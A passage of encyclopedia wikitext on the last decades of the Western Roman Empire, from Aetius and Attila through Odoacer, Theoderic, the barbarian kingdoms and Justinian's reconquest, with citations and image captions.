[[File:Invasions of the Roman Empire 1.png|thumb|250px|Germanic and Hunnic invasions of the Roman Empire, 100–500 AD|left]]Honorius' death in 423 was followed by turmoil until the Eastern Roman government with the force of arms installed [[Valentinian III]] as Western Emperor in Ravenna, with [[Galla Placidia]] acting as regent during her son's minority. Theodosius II, Eastern Emperor, had hesitated to announce the death of Honorius and in the ensuing interregnum, [[Joannes]] was nominated as Western Emperor. Joannes "rule" was short and the forces of the East successfully defeated and executed him in 425.

After a violent struggle with several rivals, and against Placidia's wish, [[Flavius Aetius|Aetius]] rose to the rank of ''magister militum''. Aetius was able to stabilize the Western Empire's military situation somewhat, relying heavily on his [[Huns#Unified_Empire_under_Attila|Hunnic]] allies. With their help Aetius undertook extensive campaigns in Gaul, defeating the Visigoths in 437 and 438 but suffering a defeat himself in 439, ending the conflicts in a ''status quo''.

Meanwhile, pressure from the Visigoths and a rebellion by [[Bonifacius]], the governor of Africa, induced the Vandals under their king [[Gaiseric]] to cross over from Spain in 429. They temporarily halted in Numidia (435) before moving eastward. With Aetius occupied in Gaul, the Western Roman government could do nothing to prevent the [[Vandals]] conquering the wealthy African provinces, eventually culminating in the fall of [[Carthage]] on 19 October 439 and the establishment of the [[Vandal Kingdom|Vandalic Kingdom]].<ref name=":1">Heather, pg. 11</ref> By the 400s, Italy and Rome itself was dependent on the taxes and foodstuffs from these provinces, leading to an economical crisis. With Vandal fleets becoming an increasingly constant danger to Roman sea trade and the coasts and islands of the western and central Mediterranean, Aetius coordinated a counterattack against the Vandals in 440, organizing a large army in Sicily.<ref name=":1" />

However, the plans of retaking Africa had to be abandoned due to the immediate need to combat the invading Huns, who in 444 were united under their ambitious king [[Attila]]. Turning against their former ally, the Huns became a formidable threat to the Empire. Aetius transferred his forces to the [[Danube]]<ref name=":1" />, though Attila had begun to concentrate on raiding the Eastern Roman provinces in the Balkans, providing momentary relief to the Western court. In 449, Attila received a message from [[Justa Grata Honoria|Honoria]], Valentinian III’s sister, offering him half the western empire if he would rescue her from an unwanted marriage that her brother was forcing her into. With a pretext to invade the West, Attila secured peace with the Eastern court and crossed the [[Rhine]] in early 451.<ref>Heather, pg. 15</ref> With Attila wreaking havoc in Gaul, Aetius gathered together a coalition of Roman and Germanic forces, including Visigoths and Burgundians, and prevented the Huns from taking the city [[Orléans|Aurelianum]], forcing them into retreat.<ref>Bury, pg. 292</ref> At the [[Battle of Châlons]], the Roman-Germanic coalition met and defeat the Hunnic forces, though Attila escaped.

Attila regrouped and invaded Italy in 452. With Aetius not having enough forces to attack, the road to Rome was open. Valentinian sent [[Pope Leo I]] and two leading senators to negotiate with Attila. This embassy, combined with a plague among Attila's troops, the threat of famine, and news that the Eastern Emperor [[Marcian]] had launched an attack on Hun homelands along the Danube, forced Attila to turn around and leave Italy.<ref name=":2">Heather, pg. 17-18</ref> With Attila dying unexpectedly in 453, the power struggle that erupted between his sons ended the threat posed by the Huns.<ref name=":2" />

=== Internal unrest and Majorian ===
[[File:Roman Empire under Majorian (460 CE).png|thumb|The Western Roman Empire during the reign of [[Majorian]] in 460 AD. During his four-year long reign from 457 to 461, Majorian successfully restored Western Roman authority in Hispania and most of Gaul. Despite his accomplishments, Roman rule in the west would last less than two more decades.]]
Valentinian III, feeling intimidated by Aetius, was enlisted by the Roman senator [[Petronius Maximus]] and the chamberlain Heraclius to assassinate him. When Aetius was at court in Ravenna delivering a financial account, Valentinian suddenly leaped from his seat and declared that he would no longer be the victim of Aetius's drunken depravities. He held Aetius responsible for the empire's troubles and accused him of trying to steal the empire from him. Aetius attempted to defend himself from the charges, but Valentinian drew his sword and struck the weaponless Aetius on the head, killing him on the spot.<ref>Given, J. ''The Fragmentary History of Priscus'', p. 126</ref> On March 16 the following year, Valentinian himself was killed by supporters of the dead general, possibly put up to it by Petronius Maximus. With the end of the [[Theodosian dynasty]], Petronius Maximus proclaimed himself emperor during the ensuing period of unrest.<ref>Given (2014) ''The Fragmentary History of Priscus'' p. 128</ref>

Petronius was not prepared to take control over the significantly weaken and unstable Empire. Petronius broke the betrothal between Huneric, son of the [[Vandal Kingdom|Vandal]] king [[Genseric|Gaiseric]], and Eudocia, daughter of Valentinian III. This was seen as just cause of war by King Gaiseric, who set sail to attack Rome. Petronius and his supporters attempted to flee the city at the sight of the approaching Vandals, only to be stoned to death by a Roman mob after a reign of only 11 weeks.<ref>Bury, pgs. 324–325</ref> With the Vandals at the gates, Pope Leo I requested that the king not destroy the ancient city or murder its inhabitants, to which Gaiseric agreed and the city gates were opened to him. Though keeping his promise, Gaiseric looted great amounts of treasure and damaged objects of cultural significance such as the [[Temple of Jupiter Optimus Maximus]]. The severity of the [[Sack of Rome (455)|Vandal sack of 455]] is disputed, though with the Vandals plundering the city for a full fourteen days as opposed to the [[Sack of Rome (410)|Visigothic sack of 410]], where the Visigoths only spent three days in the city, it was likely more thorough.<ref>Peter Heather, ''The Fall of the Roman Empire: A New History of Rome and the Barbarians'', 379.</ref>

[[Avitus]], a prominent general under Petronius, was proclaimed emperor by the Visigothic king [[Theodoric II|Theoderic II]] and accepted as such by the [[Roman Senate|Roman senate]]. Though supported by the Gallic provinces and the Visigoths, Avitus was resented in Italy due to ongoing food shortages caused by Vandal control of trade routes and for using a Visigothic imperial guard.<ref>[[John of Antioch (chronicler)|John of Antioch]], fragment 202</ref> Disbanding his guard due to popular pressure, the [[Suebi|Suebian]] general [[Ricimer]] used this opportunity to depose Avitus, counting on popular discontent. After the deposition of Avitus, the Eastern Emperor [[Leo I the Thracian|Leo I]] did not select a new western ''Augustus''. After the prominent general [[Majorian]] defeated an invading force of [[Alemanni]], he was proclaimed Western Emperor by the army<ref>''[[Fasti vindobonenses priores]]'', 583.</ref> and eventually accepted as such by Eastern Emperor Leo I.

Majorian was the last Western Emperor to attempt to recover the Western Empire with its own military forces. To prepare, Majorian significantly strengthened the Western Roman army by recruiting large numbers of barbarian mercenaries, among them [[Gepids]], [[Ostrogoths]], [[Rugii]], [[Burgundians]], [[Huns]], [[Bastarnae]], [[Suebi]], [[Scythians]] and [[Alans]], and built two fleets, one at Ravenna, to combat the strong [[Vandal Kingdom|vandalic]] fleet.<ref>Sidonius Apollinaris, ''Carmina'', V.441–442</ref>

Majorian personally lead the army to wage war in Gaul, leaving Ricimer in Italy. The Gallic provinces and the [[Visigothic Kingdom]] had rebelled following the deposition of Avitus, refusing to acknowledge Majorian as lawful emperor. At the [[Battle of Arelate]], Majorian decisively defeated the Visigoths under [[Theodoric II|Theoderic II]] and forced them to relinquish their great conquests in [[Hispania]] and return to ''[[foederati]]'' status.<ref>[[Hydatius]], 197, ''s.a.'' 459; [[Gregory of Tours]], ''Historia Francorum'', II.11.</ref> Majorian then entered the [[Rhone Valley]], where he defeated the Burgundians and reconquered the rebel city of Lugdunum.<ref>Priscus, fragment 27.</ref>

With Gaul back under Roman control, Majorian turned his eyes to the Vandals and Africa. Not only did the Vandals pose a constant danger to coastal Italy and trade in the Mediterranean, but the province they ruled was economically vital to the survival of the West. Majorian began a campaign to fully reconquer Hispania to use it as a base of his conquest of Africa. Throughout 459, Majorian campaigned against the Suebi in northwestern Hispania.

The Vandals began to increasingly fear a Roman invasion. King [[Genseric|Gaiseric]] tried to negotiate a peace with Majorian, who rejected the proposal. In the wake of this, Gaiseric devastated [[Mauretania Caesariensis|Mauretania]], part of his own kingdom, fearing that the Roman army would land there. Having restored control of Hispania, Majorian intended to use his fleet at [[Hispania Carthaginensis|Carthaginiensis]] to attack the Vandals. Before he could, the fleet was destroyed, allegedly by traitors paid by the Vandals.<ref>''[[Chronica gallica anno 511]]'', 634; [[Marius Aventicensis]], ''s.a.'' 460; [[Hydatius]], 200, ''s.a.'' 460.</ref> Deprived of his fleet, Majorian had to cancel his attack on the Vandals and conclude a peace with Gaiseric.

Disbanding his barbarian forces, Majorian intended to return to Rome and issue reforms, stopping at [[Arelate]] on his way. Here, Ricimer deposed and arrested him in 461, having gathered significant aristocratical opposition against Majorian.<ref>''[[Chronica gallica anno 511]].''</ref> After five days of beatings and torture, Majorian was beheaded near the river [[Iria (river)|Iria]].<ref>John of Antioch, fragment 203.</ref>

===Collapse===
{{See also|Fall of the Western Roman Empire}}[[File:628px-Western and Eastern Roman Empires 476AD(3).PNG|thumb|249x249px|The Western and [[Eastern Roman empire|Eastern Roman Empire]] by 476.|left]]The final collapse of the Empire in the West was marked by increasingly ineffectual puppet Emperors dominated by their Germanic [[Magister militum|masters of the soldiers]]. The most pointed example of this is [[Ricimer]], who effectively became a "Shadow Emperor" following the depositions of [[Avitus]] and [[Majorian]]. Unable to take the throne for himself due to his barbarian heritage, Ricimer appointed a series of "puppet emperors" that could do little to halt the collapse of Roman authority and the loss of the territories reconquered by Majorian. The first of these puppet emperors, [[Libius Severus]], had no recognition outside of Italy, with the Eastern Emperor Leo I and provincial governors in Gaul and Illyria all refusing to recognize him. Severus died in 465 and Leo I, with the consent of Ricimer, appointed the capable Eastern general [[Anthemius]] as Western Emperor following an eighteen-month Western [[interregnum]]. The relationship between Anthemius and the East was good, Anthemius is the last Western Emperor recorded in an Eastern law<ref>''[[Justinian code]]'', I.11.8, issued on July 1 472, cited in Mathisen.</ref>, and the two courts conducted a joint operation to retake Africa from the Vandals, culminating in the disastrous [[Battle of Cap Bon (468)|Battle of Cap Bon]] in 468. Furthermore, Anthemius conducted failed campaigns against the Visigoths, hoping to halt their increasing expansion.<ref>''Chronica gallica anno 511'', n. 649 ''s.a.'' 471, cited in Mathisen.</ref>

The trial and subsequent execution of [[Romanus (usurper)|Romanus]], an Italian senator and friend of Ricimer, on the grounds of treachery in 470 made Ricimer hostile to Anthemius. Following two years of hostilities, Ricimer successfully deposed and killed Anthemius in 472, elevating [[Olybrius]] to the Western throne.<ref>Cited in C.D. Gordon, ''The Age of Attila: Fifth-Century Byzantium and the Barbarians'' (Ann Arbor: University of Michigan, 1966), pp. 122f</ref> During the brief reign of Olybrius, Ricimer died and his nephew [[Gundobad]] succeeded him as ''magister militum''. After only seven months of rule, Olybrius died of [[dropsy]]. Gundobad elevated [[Glycerius]] to Western Emperor. The Eastern Empire had rejected Olybrius and also rejected Glycerius, instead supporting a candidate of their own, [[Julius Nepos]], ''magister militum'' in [[Dalmatia]]. With the support of Eastern Emperors [[Leo II (emperor)|Leo II]] and [[Zeno (emperor)|Zeno]], Julius Nepos crossed the [[Adriatic Sea]] in the spring of 474 to depose Glycerius.<ref name=":3">Dumbarton Oaks, pg. 263</ref> At the arrival of Nepos in Italy, Glycerius abdicated without a fight and was allowed to live out his life as the [[Roman Catholic Archdiocese of Split-Makarska|Bishop of Salona]].<ref name=":3" />

The brief rule of Nepos in Italy ended in 475 when [[Orestes (father of Romulus Augustulus)|Orestes]], a former secretary of [[Attila]] and the ''magister militum'' of Julius Nepos, took control of Ravenna and forced Nepos to flee by ship to Dalmatia. Later in the same year, Orestes crowned his own young son as Western Emperor under the name Romulus Augustus. Romulus Augustus was not recognised as Western Emperor by the Eastern Court, who maintained that Nepos was the only legal Western Emperor, reigning in exile from Dalmatia.<ref>[http://penelope.uchicago.edu/Thayer/E/Roman/Texts/secondary/BURLAT/12*.html#4 J. B. Bury, ''History of the Later Roman Empire'', §4, p. 408.]</ref>

On September 4, 476, [[Odoacer]], leader of the Germanic ''foederati'' in Italy, captured Ravenna, killed Orestes and deposed Romulus. Though Romulus was deposed, Nepos did not return to Italy and continued to reign as Western Emperor from Dalmatia, with support from Constantinople. Odoacer proclaimed himself ruler of Italy and began to negotiate with the Eastern Emperor [[Zeno (emperor)|Zeno]]. Zeno eventually granted Odoacer [[Patrician (ancient Rome)|patrician]] status as recognition of his authority and accepted him as his own viceroy of Italy. Zeno, however, insisted that Odoacer had to pay homage to Julius Nepos as the Emperor of the Western Empire. Odoacer accepted this condition and issued coins in the name of Julius Nepos throughout Italy. This, however, was mainly an empty political gesture, as Odoacer never returned any real power or territories to Julius Nepos. The murder of Julius Nepos in 480 prompted Odoacer to invade Dalmatia, annexing it to his [[Kingdom of Italy (476–493)|Kingdom of Italy]].

=== Fall of the Empire ===
{{See also|Historiography of the fall of the Western Roman Empire}}
[[File:Ravenna(Peutinger Map).png|thumb|The city of [[Ravenna]], Western Roman capital, on the [[Tabula Peutingeriana]], a 13th century medieval map possibly copied from a 4th or 5th century Roman original.]]
By convention, the Western Roman Empire is deemed to have ended on 4 September 476, when [[Odoacer]] deposed [[Romulus Augustulus|Romulus Augustus]], but the historical record calls this determination into question. Indeed, the deposition of Romulus Augustus received very little attention in contemporary times. Romulus was a usurper in the eyes of the more or less entirely intact [[Eastern Roman empire|Eastern Roman Empire]] and the remaining territories of Western Roman control outside of Italy, with the previous emperor Julius Nepos still being alive and claiming to rule the Western Empire in Dalmatia. Furthermore, the Western court had lacked true power and had been subject to Germanic aristocrats for decades, with most of its legal territory being under control of various [[barbarian kingdoms]]. With Odoacer recognising [[Julius Nepos]], and later the Eastern Emperor [[Zeno (emperor)|Zeno]], as his sovereign, nominal Roman control continued in Italy.<ref name=":4">{{Cite journal|last=Börm|first=Henning|title=Das Weströmische Kaisertum nach 476, in: H. Börm - N. Ehrhardt - J. Wiesehöfer (eds.), Monumentum et instrumentum inscriptum, Stuttgart: Franz Steiner Verlag 2008, pp. 47ff.|url=https://www.academia.edu/1013050/Das_Westr%C3%B6mische_Kaisertum_nach_476_in_H._B%C3%B6rm_-_N._Ehrhardt_-_J._Wieseh%C3%B6fer_eds._Monumentum_et_instrumentum_inscriptum_Stuttgart_Franz_Steiner_Verlag_2008_pp._47ff|language=en}}</ref> [[Syagrius]], who had managed to preserve Roman sovereignty in an [[Enclave and exclave|exclave]] in northern Gaul (a realm today known as the [[Domain of Soissons]]) also recognized Nepos as his sovereign and the legitimate Western Emperor.<ref name=":8" />

The authority of Julius Nepos as Emperor was accepted not only by Odoacer in Italy, but by the Eastern Empire and Syagrius in Gaul (who had not recognized Romulus Augustulus). Nepos was murdered by his own soldiers in 480, a plot some attribute to Odoacer himself or potentially the previous deposed emperor Glycerius<ref name="Martindale, pg. 5142">Martindale, pg. 514</ref>, and the Eastern Emperor Zeno chose not to appoint a new western emperor. Zeno, recognizing that no true direct Roman control remained over the territories legally governed by the Western court, instead chose to abolish the juridical division of the position of Emperor, declaring himself the sole emperor of the Roman Empire. Zeno became the first sole Roman Emperor since the division after [[Theodosius I]], 85 years prior, and the position would never again be divided. As such, the (eastern) [[List of Byzantine emperors|Roman emperors]] after 480 are the successors of the western ones, albeit only in a juridical sense.<ref name=":11">Williams and Friell (1999), p. 187.</ref> These emperors would continue to rule the Roman Empire until the [[Fall of Constantinople]] in 1453, nearly a thousand years later.<ref>Donald M. Nicol (9 maj 2002). ''The Immortal Emperor: The Life and Legend of Constantine Palaiologos, Last Emperor of the Romans''. Cambridge University Press.</ref> As 480 marks the end of the juridical division of the empire into two separate imperial courts, some historians refer to the death of Nepos and abolition of the Western Empire by Zeno as the end of the Western Roman Empire.<ref>{{Cite news|url=https://www.ancient.eu/Western_Roman_Empire/|title=Western Roman Empire|work=Ancient History Encyclopedia|access-date=2018-02-06}}</ref>

Despite the fall, or abolition, of the Western Empire, many of the new Barbarian kings of Western Europe continued to operate firmly within a roman administrative framework. This is especially true in the case of the Ostrogoths, who came to rule Italy after Odoacer. They continued to use the administrative systems of Odoacer's kingdom, essentially those of the Western Roman Empire, and administrative positions continued to be staffed exclusively by Romans. The senate continued to function as it always had and the laws of the Empire were recognized as ruling the Roman population, though the Goths were ruled by their own traditional laws.<ref name=":5" /> Western Roman administrative institutions, in particular those of Italy, thus continued to be used during "barbarian" rule and after the forces of the Eastern Roman empire reconquered some of the formerly imperial territories. Some historians thus refer to the reorganizations of Italy and abolishment of the old and separate Western Roman administrative units, such as the [[Praetorian prefecture of Italy]], during the sixth century as the "true" fall of the Western Roman Empire.<ref name=":4" />

Roman cultural traditions continued throughout the territory of the Western Empire for long after its disappearance, and a recent school of interpretation argues that the great political changes can more accurately be described as a complex cultural transformation, rather than a fall.<ref>Hunt, Lynn; Thomas R. Martin; Barbara H. Rosenwein; R. Po-chia Hsia; Bonnie G. Smith (2001). ''The Making of the West, Peoples and Cultures, Volume A: To 1500''. Bedford / St. Martins. p. 256. [[International Standard Book Number|ISBN]] [[Special:BookSources/0-312-18365-8|0-312-18365-8]].</ref>

== Political aftermath ==
[[File:Roman-Empire 477ad.jpg|thumb|250px|[[Europe]] in 477 AD. Highlighted areas are Roman lands that survived the deposition of [[Romulus Augustulus]].]]Some territories of Roman control continued to exist in the West in some form even after 480. The [[Domain of Soissons]], a rump state in Northern Gaul ruled by [[Syagrius]], survived until 486 when it was conquered by the [[Frankish kingdom|Franks]] under King [[Clovis I]] after the [[Battle of Soissons (486)|Battle of Soissons]]. Syagrius was known as the "King of the Romans" by the Germanic peoples of the region but continually claimed that he was merely governing a Roman province, not an independent realm.<ref name=":8">Elton, pg. 288-297.</ref>

Furthermore, a Roman-Moor realm survived in the province of [[Mauretania Caesariensis]] until the early 8th century. An inscription on a fortification at the ruined city of Altava from the year 508 identifies a man named [[Masuna]] as the king of "''Regnum Maurorum et Romanarum''", the [[Mauro-Roman kingdom|Kingdom of the Moors and Romans]].<ref>Conant, Jonathan (2004), "Literacy and Private Documentation in Vandal North Africa: The Case of the Albertini Tablets", [https://books.google.com/books?id=xdnrTM_d1GkC&printsec=frontcover&dq=Vandals&hl=en&ei=uKjUS-OzCeihOOOSoY4O&sa=X&oi=book_result&ct=result&resnum=1&ved=0CDUQ6AEwAA#v=onepage&q&f=false ''Vandals, Romans and Berbers: New Perspectives on Late Antique North Africa''], Ashgate Publishing, pg. 199–224</ref> It is possible that Masuna is the same man as the "Massonas" who allied himself with the forces of the [[Eastern Roman empire|Eastern Roman Empire]] against the [[Vandals]] in 535.<ref>Martindale (1980) ''A Prosopography of the later Roman Empire, vol. 2 AD 395-527''. Cambridge UK: Cambridge University Press. Pg. 734.</ref> As the Mauro-Roman realm shrank it eventually became known as the "[[Kingdom of Altava]]" after its capital city and it fell during the [[Early Muslim conquests|Islamic conquests]] of the 700s.

=== Germanic Italy ===
[[File:Odoacer 480ad.jpg|left|thumb|[[Odoacer]]'s Italy in 480 AD, following the annexation of [[Dalmatia]].]]
The deposition of [[Romulus Augustulus|Romulus Augustus]] and rise of [[Odoacer]] as ruler of Italy in 476 received very little attention at the time.<ref name=":4" /> Overall, very little changed for the people; there was still a Roman Emperor in Constantinople that Odoacer had subordinated himself to. Throne vacances had been experienced at many points in the West before and the deposition of Romulus Augustus was nothing out of the ordinary. Odoacer saw his rule as entirely in the tradition of the Roman Empire, his role was not unlike that of [[Ricimer]], and he effectively ruled as an imperial "governor" of Italy and was even awarded the title of ''[[Patrician (ancient Rome)|patricius]]''. Odoacer ruled using the Roman administrative systems already in place and continued to mint coins with the name and portrait of [[Julius Nepos]] until 480 and later with the name and portrait of the Eastern ''Augustus'', rather than in his own name.<ref name=":4" />
When Julius Nepos was murdered in Dalmatia in 480, Odoacer assumed the duty of pursuing and executing the assassins and established his own rule in Dalmatia at the same time.<ref>Bury, ''History'', vol. 1 p. 410</ref> Odoacer established his power with the loyal support of the [[Roman Senate]], a legislative body that had continued even without an emperor residing in Italy. Indeed, the Senate seems to have increased in power under Odoacer. For the first time since the mid-3rd century, copper coins were issued with the legend ''S C'' (''Senatus Consulto''). These coins were copied by [[Vandals]] in Africa and also formed the basis of the currency reform done by Emperor [[Anastasius I Dicorus|Anastasius]] in the East.<ref>Jones, ''The Later Roman Empire: 284–602'' (Baltimore: Johns Hopkins, 1986), pp. 254f.</ref>[[File:Solidus-Odoacer-ZenoRIC 3657cf.jpg|thumb|Solidus minted under [[Odoacer]] with the name and portrait of the Eastern Emperor [[Zeno (emperor)|Zeno]].]]Under Odoacer, Western [[Roman consul|consuls]] continued to be appointed as they had been under Western Roman Empire and were accepted by the Eastern Court, the first of these were [[Caecina Decius Maximus Basilius|Caecina Decius Maximus Basilus]] in 480. Basilus was later also made the [[Praetorian prefect of Italy|Praetorian Prefect of Italy]] in 483, a position that continued to exist under Odoacer.<ref>{{Cite journal|last=Moorhead|first=John|date=1984|title=The Decii under Theoderic|url=https://www.jstor.org/stable/4435873|journal=Historia: Zeitschrift für Alte Geschichte|volume=33|issue=1|pages=107–115|doi=10.2307/4435873}}</ref> 11 further consuls were appointed by the Senate under Odoacer during his reign from 480 to 493 and one further Praetorian Prefect of Italy was appointed, [[Caecina Mavortius Basilius Decius]] (486-493).

Though Odoacer ruled as a Roman governor would have and maintained himself as a subordinate to the [[Byzantine Empire|remaining Empire]], the Eastern Emperor [[Zeno (emperor)|Zeno]] began to increasingly see him as a rival. Thus, Zeno promised [[Theoderic the Great]] of the [[Ostrogoths]], ''foederati'' of the Eastern Court, control over the [[Italian Peninsula|Italian peninsula]] if they were able to defeat Odoacer.<ref>John of Antioch, fragment 214.</ref> Theoderic leade the Ostrogoths across the [[Julian Alps]] and into Italy in 489 and defeated Odoacer in battle twice the same year. Following four years of hostilities between them, John, the [[Bishop of Ravenna]], was able to negotiate a treaty in 493 between Odoacer and Theoderic wherein they agreed to rule Ravenna and Italy jointly. Theoderic entered Ravenna on 5 March and Odoacer was dead ten days later, killed by Theoderic after sharing a meal with him.<ref>Wolfram, ''History of the Goths'', p. 283.</ref>[[File:Empire of Theodoric the Great 523.gif|thumb|Map of the realm of [[Theoderic the Great]] at its height in 523, following the annexation of the southern parts of the [[Kingdom of the Burgundians|Burgundian kingdom]]. Theoderic ruled both the [[Visigothic Kingdom|Visigothic]] and [[Ostrogothic Kingdom|Ostrogothic kingdoms]] and exerted hegemony over the Burgundians and [[Vandal Kingdom|Vandals]].|left]]Theoderic inherited the role of Odoacer, the acting viceroy for Italy and ostensibly a ''patricius'' and subject of the emperor in Constantinople. This position was recognized by Emperor [[Anastasius I Dicorus|Anastasius]] in 497. Though Theoderic acted as an independent ruler, he meticulously preserved the outward appearance of his subordinate position.<ref name=":5">Bury (1923), Ch. XIII, pp. 422-424.</ref> Theoderic continued to use the administrative systems of Odoacer's kingdom, essentially those of the Western Roman Empire, and administrative positions continued to be staffed exclusively by Romans. The senate continued to function as it always had and the laws of the Empire were recognized as ruling the Roman population, though the Goths were ruled by their own traditional laws. As a subordinate, Theoderic did not have the right to issue his own [[Roman law|laws]], only edicts or clarifications.<ref name=":5" /> The army and military offices were exclusively staffed by the Goths however, largely settled in northern Italy.<ref>Bury (1923), Ch. XIII, p. 459.</ref>

Though acting as a subordinate in domestic affairs, Theoderic acted increasingly independent in his foreign policies. Seeking to counterbalance the influence of the Empire in the East, Theoderic married his daughters to the Visigothic king [[Alaric II]] and the Burgundian prince [[Sigismund of Burgundy|Sigismund]], his sister Amalfrida was married to the Vandal king [[Thrasamund]] and he married Audofleda, sister of the Frankish king [[Clovis I]], himself.<ref>Bury (1923), Ch. XIII, pp. 461-462.</ref> Through these alliances and occasional conflicts, the territory controlled by Theoderic in the early sixth century nearly constituted a restored Western Roman Empire. Ruler of Italy since 493, Theoderic became [[king of the Visigoths]] in 511 and exerted hegemony over the [[Vandal Kingdom|Vandals]] in North Africa between 521 and 523. As such, his rule extended throughout the western [[Mediterranean Sea|Mediterranean]]. The western imperial regalia had been returned to [[Ravenna]] by the emperor [[Anastasius I Dicorus|Anastasius]] in 497 and Theoderic was essentially western emperor in all but name.<ref>{{Cite web|url=http://www.ict.griffith.edu.au/wiseman/Roman/5CompMaps.html|title=5CompMaps.html|website=www.ict.griffith.edu.au|access-date=2017-11-07}}</ref>

With the death of Theoderic in 526, his network of alliances began to collapse. The Visigoths regained autonomy under king [[Amalaric]] and the relations with the Vandals turned increasingly hostile under the reign of the new Ostrogothic king [[Athalaric]], a child under the regency of his mother [[Amalasuntha]]. Amalasuntha intended to continue the policies of conciliation between the Goths and Romans, supporting the new Eastern Emperor [[Justinian I]] and allowing him to use Sicily as a staging point during the reconquest of Africa in the [[Vandalic War]]. With the death of Athalaric in 534, Amalasuntha crowned her cousin and only relative [[Theodahad]] as king, hoping for his support. Instead, Amalasuntha was imprisoned and even though Theodahad assured Emperor Justinian of her safety, she was executed shortly thereafter. This served as an ideal cause of war for Justinian, who invaded Italy after Theodahad had refused to renounce his rule of the peninsula in favour of the Empire.<ref name=":7">Procopius, ''De Bello Gothico'' I.V.1.</ref>

=== Barbarian Kingdoms ===
{{main|Barbarian kingdoms}}[[File:Europa in 526.png|thumb|Map of the Barbarian Kingdoms of the western [[Mediterranean Sea|Mediterranean]] in 526, seven years before the campaigns of reconquest under [[Justinian I]].|left]]In the context of the Western Roman Empire, the term "barbarian kingdoms" most often refers to the Germanic kingdoms that sprung from the formerly Western Roman territory. Their beginnings, together with the end of the Western Roman Empire, marks the transition from [[Late antiquity|Late Antiquity]] to the [[Middle Ages]]. The barbarian kingdoms gradually replaced the old Roman system, specifically in the [[Praetorian prefecture|praetorian prefectures]] of [[Praetorian prefecture of Gaul|Gaul]] and [[Praetorian prefecture of Italy|Italy]], during the sixth and seventh centuries.<ref name=":10">Kidner et al. ''Making Europe: People, Politics, and Culture'' vol. 1 (2009), [https://books.google.ch/books?id=sroFl-rIRhYC&pg=PA198#v=onepage&q&f=false 198–203].</ref>
[[File:Visigoths_tremissis_6_century_823177.jpg|thumb|6th-century Visigothic coin, struck in the name of Emperor [[Justinian I]].]]
There were several different kingdoms of differing size, power and origins. The [[Visigothic Kingdom]] was the earliest one established, founded as a vassal state to the Western Roman Empire through the [[Visigoths]] being granted land in southern Gaul by Emperor [[Honorius (emperor)|Honorius]] in 418.<ref name=":6" /> After its establishment, relations between the Visigoths and the Western court were mixed. Though federated vassals, the Visigoths remained ''de facto'' independent and began a rapid period of expansion at the expense of the Western empire. The Visigoths were thus periodically enemies with the Western court, though they had allied with the Western Roman army against the Huns and assisted in defeating Attila at the [[Battle of the Catalaunian Plains]] in 451. At the time of the collapse of the Western Empire in 476/480, the Visigoths controlled large swaths of Southern Gaul as well as a majority of [[Hispania]], their increased domain having been partly conquered and partly awarded to them by the Western Emperor [[Avitus]] in the 450s-60s.<ref>David Abulafia et al. ''The New Cambridge Medieval History, Volume 1 c. 500 – c. 700'', p. 165.</ref> Like the Germanic kingdoms of Italy, the Visigoths continued to recognise the Emperor in Constantinople as somewhat of a nominal sovereign, continuing to mint coins in their names until the reign of [[Justinian I]] in the sixth century.<ref>Michael Frassetto, ''The Early Medieval World: From the Fall of Rome to the Time of Charlemagne'' vol. 1 "Coins and Coinage", [https://books.google.ch/books?id=6feKDfRM9sYC&pg=PA203#v=onepage&q&f=false page 203].</ref> The Visigothic Kingdom continued to control most of the [[Iberian Peninsula|Iberian peninsula]] until it fell to the [[Umayyad Caliphate]] in the 720s.<ref>David Abulafia et al. ''The New Cambridge Medieval History, Volume II c. 700 — c. 900'', p. 256–258, 275–276.</ref> The [[Kingdom of Asturias]] was founded by a Visigoth nobleman around the same time and remained the only bastion of [[Christianity]] on the peninsula until the [[reconquista]].<ref>Esparza, José Javier (2010). ''La gran aventura del Reino de Asturias así empezó la Reconquista'' (1st ed.). Madrid: La Esfera de los Libros. {{ISBN|8497349784}}.</ref>

The [[Vandal Kingdom]] was founded through [[Vandals|Vandalic]] conquests in the provinces of [[Africa (Roman province)|Roman Africa]], culminating in a siege and subsequent conquest of Carthage in 439.<ref>Andrew Merrills and Richard Miles, ''The Vandals'', (Blackwell Publishing, 2007), 60.</ref> The Vandals continually used an impressive fleet to loot the coasts of both the Western and Eastern halves of the Empire, becoming an increasingly strong naval power. After the death of Attila, the Romans made repeated efforts at recapturing Africa and destroying the Vandals, since they were in control of some of the richest imperial lands. With several planned campaigns never being carried out or being destroyed in naval battles, the Vandals remained a power and even sacked Rome in 455.<ref>[[Vandal Kingdom#CITEREFCameron2000|Cameron 2000]], p. 553.</ref> Unlike the Visigoths, the Vandals minted their own coinage and were both ''de facto'' and ''de jure'' independent.<ref>[[Vandal Kingdom#CITEREFMerrills2004|Merrills 2004]], pp. 11–12.</ref> Just like the [[Ostrogoths]] of Italy, the Vandalic Kingdom would come to be reconquered under the western campaigns of Emperor Justinian I.

After the collapse of [[Theoderic the Great]]'s control of the western Mediterranean through alliances, the [[Frankish kingdom|Frankish Kingdom]] would rise to become the most powerful of the Barbarian Kingdoms, having taken control of most of Gaul in the absence of Roman governance. Under [[Clovis I]] from the 480s to 511, the Franks would come to develop into a great regional power, conquering the [[Domain of Soissons]] in 481, defeating the [[Alemanni]] in 504 and conquering all Visigothic territory north of the north of the [[Pyrenees]] other than [[Septimania]] in 507. Unlike with the hostile Vandals, relations between the Franks and the Eastern Empire appear to have been rather positive, with Emperor [[Anastasius I Dicorus|Anastasius]] granting Clovis the title of [[Roman consul|consul]] following his victory against the Visigoths.<ref>{{Cite news|url=https://www.ancient.eu/Clovis_I/|title=Clovis I|work=Ancient History Encyclopedia|access-date=2017-10-16}}</ref> The Frankish Kingdom would turn out to be the most stable of all the Barbarian kingdoms, eventually developing into the [[Carolingian Empire]] and later [[France in the Middle Ages|France]] and the [[Holy Roman Empire]].

===Imperial reconquest===
{{Further|Vandalic War|Gothic War (535–554)}}
[[File:Justinien 527-565.svg|thumb|250px|The [[Eastern Roman Empire]], by reoccupying some of the former Western Roman Empire's lands, enlarged its territory considerably during [[Justinian I|Justinian]]'s reign from 527 ''(red)'' to 565 ''(orange)''.]]
With Emperor Zeno having juridically reunified the Empire into one imperial court, the remaining Eastern Roman Empire continued to lay claim to the areas previously controlled by the Western court throughout [[Late Antiquity]] and the [[Middle Ages]]. Though military campaigns had been conducted by the Western court prior to 476 with the aim of recapturing lost territory, most notably under [[Majorian]], the reconquests, if successful at all, were only momentary. It was first under the campaigns of the generals [[Belisarius]] and [[Narses]] on behalf of the Eastern Roman Emperor [[Justinian I]] from 533 to 554 that long-lasting reconquests of Roman lands were witnessed.

